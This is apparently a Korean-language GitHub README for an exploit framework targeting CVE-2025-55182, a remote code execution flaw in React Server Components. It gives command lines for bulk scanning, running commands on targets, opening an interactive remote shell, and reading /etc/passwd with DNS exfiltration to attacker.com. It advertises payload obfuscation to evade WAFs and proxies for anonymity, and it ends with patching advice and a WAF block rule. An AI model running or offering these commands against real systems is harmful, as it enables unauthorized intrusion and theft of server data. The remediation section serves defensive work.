CVE-2025-55182에 대한 고급 React Server Components RCE 스캐너. 기능: 다단계 핑거프린팅, 취약점 검증, DNS 유출, 대화형 셸, 페이로드 난독화, 전문가용 보고서(JSON/HTML/PDF). 승인된 테스트 전용.
<div align="center">
# 🔐 ReactRCE-Scanner
### CVE-2025-55182 — 고급 React Server Components RCE 익스플로잇 및 평가 프레임워크
<p align="center">
<a href="https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit"><img src="https://img.shields.io/badge/version-1.0.0-blue?style=for-the-badge&logo=git&logoColor=white" alt="Version"></a>
<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-55182"><img src="https://img.shields.io/badge/CVE-2025--55182-red?style=for-the-badge&logo=shield&logoColor=white" alt="CVE"></a>
<a href="https://www.first.org/cvss/"><img src="https://img.shields.io/badge/CVSS-9.8%20CRITICAL-critical?style=for-the-badge&logo=security&logoColor=white" alt="CVSS"></a>
<a href="https://python.org"><img src="https://img.shields.io/badge/python-3.8+-blue?style=for-the-badge&logo=python&logoColor=white" alt="Python"></a>
<a href="https://github.com/cerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploit/blob/main/LICENSE"><img src="https://img.shields.io/badge/license-MIT-green?style=for-the-badge&logo=open-source-initiative&logoColor=white" alt="License"></a>
</p> <p align="center">
<a href="https://github.com/CerberusMrXi"><img src="https://img.shields.io/badge/author-CerberusMrXi-orange?style=for-the-badge&logo=github" alt="Author"></a>
<a href="http://makeapullrequest.com"><img src="https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=for-the-badge&logo=git-pull-request" alt="PRs Welcome"></a>
<a href="https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/releases"><img src="https://img.shields.io/github/downloads/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/total?style=for-the-badge&logo=github" alt="Downloads"></a>
</p> </div>
---
## 📑 목차
- [법적 면책 조항 및 윤리적 고지](#-legal-disclaimer--ethical-notice)
- [개요](#-overview)
- [주요 기능](#-key-capabilities)
- [빠른 시작 가이드](#-quick-start-guide)
- [아키텍처 및 기능 심층 분석](#-architecture--feature-deep-dive)
- [구성 참조](#-configuration-reference)
- [자동화된 테스트 스위트](#-automated-test-suite)
- [교정 및 완화](#-remediation--mitigation)
- [기여 및 커뮤니티](#-contributing--community)
- [참고 자료](#-references)
- [라이선스 및 작성자](#-license--author)
---
## ⚠️ 법적 면책 조항 및 윤리적 고지
> **이 도구는 오직 교육 및 승인된 보안 테스트 목적으로만 제작되었습니다.**사전 서면 동의 없이 대상에 대해 이 소프트웨어를 무단으로 사용하는 것은 컴퓨터 사기 및 남용법(CFAA), GDPR 규정, 그리고 표준 서비스 약관 계약을 포함한 국제 컴퓨터 범죄법을 위반하는 행위입니다. 작성자와 기여자는 이 프로그램으로 인해 발생하는 모든 오용, 불법 운영 또는 결과적 손해에 대해 어떠한 책임도 지지 않습니다.**전적으로 본인의 책임 하에 진행하십시오.**
---
## 📋 개요
**ReactRCE-Scanner**는 **CVE-2025-55182** [1]를 위해 특별히 설계된 엔터프라이즈급 보안 평가 및 검증 프레임워크로, 이 취약점은 버전 `19.0.0`부터 `19.2.0`까지의 React Server Components에 영향을 미치는 심각한 원격 코드 실행(RCE) 취약점입니다.
이 프레임워크는 이론적 취약점 연구와 실제 보안 검증 사이의 간극을 메웁니다. 다단계 핑거프린팅, 엄격한 오탐 감소, 고급 페이로드 난독화, 자동화된 다중 형식 보고를 통합함으로써 보안 엔지니어에게 정밀한 진단 기능을 제공합니다.
<div align="center">
| **사용** | **스캔 결과** |
|:---------:|:----------------:|
| <img src="https://github.com/user-attachments/assets/ee7a96b7-f4cd-4e00-b780-97c7d9ca3523" width="900"> | <img src="https://github.com/user-attachments/assets/e4b493d1-c5a1-494e-8385-2b92ab5fb76e" width="900"> |
</div>
---
## 🎯 주요 기능
| 기능 범주 | 구현 하이라이트 | 운영 상태 |
| --- | --- | --- |
| **스마트 핑거프린팅** | 신뢰도 점수 알고리즘을 사용한 다중 소스 프레임워크 및 버전 탐지. | ✅ |
| **다단계 검증** | 오탐을 체계적으로 제거하도록 설계된 5단계 검증 파이프라인. | ✅ |
| **페이로드 생성** | DNS 유출 및 다중 인코딩을 지원하는 난독화된 페이로드 빌더. | ✅ |
| **대화형 셸** | 검증된 대상에서 실시간 의사 대화형 명령 실행 및 셸 접근. | ✅ |
| **종합 보고** | JSON, HTML, PDF, Markdown 형식의 자동 보고서 생성. | ✅ |
| **DNS 유출** | 보안 DNS 쿼리 처리를 통한 대역 외 명령 출력 유출. | ✅ |
| **동시성 엔진** | 대규모 공격 표면을 위한 고성능 멀티스레드 스캐닝 아키텍처. | ✅ |
| **프록시 통합** | 익명화된 평가 트래픽을 위한 HTTP/HTTPS 및 SOCKS 프록시 지원. | ✅ |
---
## 🚀 빠른 시작 가이드
### 설치
저장소를 복제하고 자동화된 설정 스크립트 또는 수동 종속성 설치를 사용하여 환경을 초기화하십시오:
```bash
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
# Configure execution permissions and run setup script
chmod +x setup.sh
./setup.sh
# Alternatively, install core Python dependencies manually
pip install -r requirements.txt
```
### 기본 명령 참조
이 프레임워크는 단일 대상 검증, 파일 목록에서의 대량 스캐닝, 대화형 셸 생성, 규정 준수 보고를 지원하는 모듈식 CLI 아키텍처를 통해 작동합니다.
```bash
# 1. Perform a vulnerability scan against a single target
python exploit.py -t https://target.com -m scan
# 2. Execute bulk scans from a target list with JSON export
python exploit.py -f targets.txt -m scan -o report.json
# 3. Execute a single command on a verified vulnerable endpoint
python exploit.py -t https://target.com -m exploit -c "whoami"
# 4. Initiate an interactive remote shell session
python exploit.py -t https://target.com -m shell
# 5. Execute commands with out-of-band DNS exfiltration
python exploit.py -t https://target.com -m exploit -c "cat /etc/passwd" -d attacker.com
# 6. Compile a professional executive assessment report in PDF format
python exploit.py -f targets.txt -o assessment_report.pdf --format pdf
```
---
## 🔬 아키텍처 및 기능 심층 분석
### 1. 스마트 핑거프린팅 엔진
이 프레임워크는 페이로드 전달 전에 심층 정찰을 수행합니다. 여러 HTTP 헤더 필드(`X-Powered-By`, `Next-Action`, `RSC`), HTML 구조 메타 태그(`data-reactroot`, `__NEXT_DATA__`), 정적 빌드 자산, JavaScript 소스 번들 [2] [3]을 분석합니다.
신뢰도 점수는 네 단계로 분류됩니다:
- **CRITICAL (95%+):** 여러 독립적 지표가 취약한 React Server Component 런타임 버전을 확인합니다.
- **HIGH (75–95%):** 정확한 버전 일치와 함께 강력한 구조적 지표가 식별됩니다.
- **MEDIUM (50–75%):** 부분적인 프레임워크 마커가 존재하며 수동 검증이 필요합니다.
- **LOW (<50%):** 약한 휴리스틱이 탐지되었으며 오탐 가능성이 높습니다.
### 2. 다단계 검증 워크플로
운영 무결성을 유지하고 의도하지 않은 서비스 중단을 방지하기 위해, 페이로드는 익스플로잇 단계가 활성화되기 전에 엄격한 검증 파이프라인을 통과합니다.
```
Target URL / Endpoint
│
▼
[Stage 1] Framework & Header Detection
│
▼
[Stage 2] Component Version Analysis
│
▼
[Stage 3] Protocol Compatibility Check
│
▼
[Stage 4] Non-Destructive Safe Validation Request
│
▼
[Stage 5] Statistical Confidence Scoring
│
▼
Vulnerability Assessment Decision
```
### 3. 페이로드 난독화 및 회피
방어 제어 및 웹 애플리케이션 방화벽(WAF)을 테스트하기 위해, 이 프레임워크는 다음을 지원하는 고급 페이로드 생성기를 내장하고 있습니다:
- **인코딩 방식:** Base64, 16진수, 8진수 변환.
- **구조적 난독화:** 동적 문자열 분할, 정크 코드 삽입, 대체 `require` 메서드 매핑.
- **대역 외(OOB) 유출:** 직접 응답 채널이 제한될 때 DNS 쿼리를 통한 보안 데이터 터널링.
### 4. 대화형 명령 셸
세션이 성공적으로 설정되면, 운영자는 검증 후 열거를 위한 대화형 셸 환경을 호출할 수 있습니다.
```bash
$ python exploit.py -t https://target.com -m shell
[*] Initializing interactive shell session against https://target.com
[!] Type 'exit' to terminate the session.
shell> whoami
www-data
shell> uname -a
Linux ip-10-0-1-15 6.8.0-1018-aws #20-Ubuntu SMP PREMO__X64 x86_64 GNU/Linux
shell> exit
[*] Terminating session and cleaning up temporary artifacts...
```
### 5. 전문 보고 스위트
보고서는 경영 요약, 위험 지표, 상세 기술 발견 사항, 증거 타임라인, CVSS v3.1 점수 분석 [4]을 포함하는 여러 표준 형식(`JSON`, `HTML`, `PDF`, `Markdown`)으로 생성할 수 있습니다.
---
## ⚙️ 구성 참조
고급 매개변수는 `config.yaml` 구성 파일을 통해 관리됩니다. 아래는 프로덕션 구성 템플릿입니다:
```yaml
# ReactRCE-Scanner Production Configuration
timeout: 30
threads: 20
max_retries: 3
proxy: null
user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
headers:
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"
Accept-Language: "en-US,en;q=0.5"
Accept-Encoding: "gzip, deflate, br"
output:
format: "json"
directory: "./reports"
logging:
level: "INFO"
file: "exploit.log"
exploit:
obfuscate: true
encoding: "base64"
timeout: 60
scanning:
concurrent_scans: 20
rate_limit: 0.5
timeout: 30
fingerprint:
enable_deep_analysis: true
follow_redirects: true
analyze_assets: true
```
사용자 정의 구성 파일을 참조하여 스캔을 실행하십시오:
```bash
python exploit.py -f targets.txt -C config.yaml -o report.json
```
---
## 🧪 자동화된 테스트 스위트
이 저장소에는 릴리스 전반에 걸쳐 모듈 안정성을 보장하기 위한 포괄적인 단위 및 통합 테스트 스위트가 포함되어 있습니다.
```bash
# Execute the complete automated test suite
python exploit.py --test
# Expected Output:
Running test suite...
✓ test_fingerprinting passed
✓ test_payload_generation passed
✓ test_config_loading passed
✓ test_verification passed
✓ test_report_generation passed
Tests passed: 5/5
```
로컬 개발 환경을 설정하는 기여자를 위해:
```bash
git clone https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit.git
cd CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit
pip install -r requirements-dev.txt
# Run pytest unit tests
pytest tests/
# Format and lint codebase
black exploit.py
flake8 exploit.py
```
---
## 🛡️ 교정 및 완화
### 즉각적인 관리 조치
1. **패치:** React 패키지를 즉시 버전 `19.2.1` 이상으로 업그레이드하십시오. Next.js 인스턴스를 버전 `15.0.4+`로 업데이트하십시오 [5].
1. **모니터링:** 의심스러운 `Next-Action` 헤더 값과 검증되지 않은 프로토타입 참조(`__proto__`, `constructor`)에 대해 HTTP 액세스 로그를 검사하십시오 [6].
1. **네트워크 강화:** 데이터 유출을 방지하기 위해 애플리케이션 서버에서 나가는 재귀 DNS 쿼리를 제한하십시오.
### 참조 WAF 규칙 (Nginx / OpenResty)
```
# Block prototype pollution and remote execution attempts in request bodies
if ($request_body ~* "__proto__") {
return 403;
}
if ($request_body ~* "constructor") {
return 403;
}
if ($request_body ~* "child_process") {
return 403;
}
if ($request_body ~* "execSync") {
return 403;
}
```
---
## 📚 참고 자료
1. [National Vulnerability Database — CVE-2025-55182 Advisory](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
1. [React Security Documentation & Advisories](https://react.dev/security)
1. [Next.js Security Bulletins](https://nextjs.org/blog/security)
1. [FIRST CVSS v3.1 Specification & Calculator](https://www.first.org/cvss/calculator/3.1)
1. [OWASP Guide to Prototype Pollution Vulnerabilities](https://www.owasp.org/index.php/Prototype_Pollution)
1. [Node.js Child Process Security Best Practices](https://nodejs.org/api/child_process.html)
---
## 🤝 기여 및 커뮤니티
기여, 기능 요청, 버그 보고를 환영합니다. 표준 포크 및 풀 리퀘스트 워크플로를 준수해 주십시오:
1. 저장소를 포크하십시오 (`https://github.com/CerberusMrXi/CVE-2025-55182-Advanced-React-Server-Components-RCE-Exploit/fork`)
1. 기능 브랜치를 생성하십시오 (`git checkout -b feature/AdvancedScannerModule`)
1. 변경 사항을 커밋하십시오 (`git commit -m 'Add advanced scanning heuristic'`)
1. 브랜치에 푸시하십시오 (`git origin push feature/AdvancedScannerModule`)
1. 풀 리퀘스트를 여십시오
---
## 📜 라이선스 및 작성자
**MIT 라이선스**에 따라 배포됩니다. 자세한 내용은 [LICENSE](https://github.com/cerberusmrxi/cve-2025-55182-advanced-react-server-components-rce-exploit/blob/main/LICENSE)를 참조하십시오.
<div align="center">
**Created with precision by CerberusMrXi** *Last Updated: August 2026*
</div>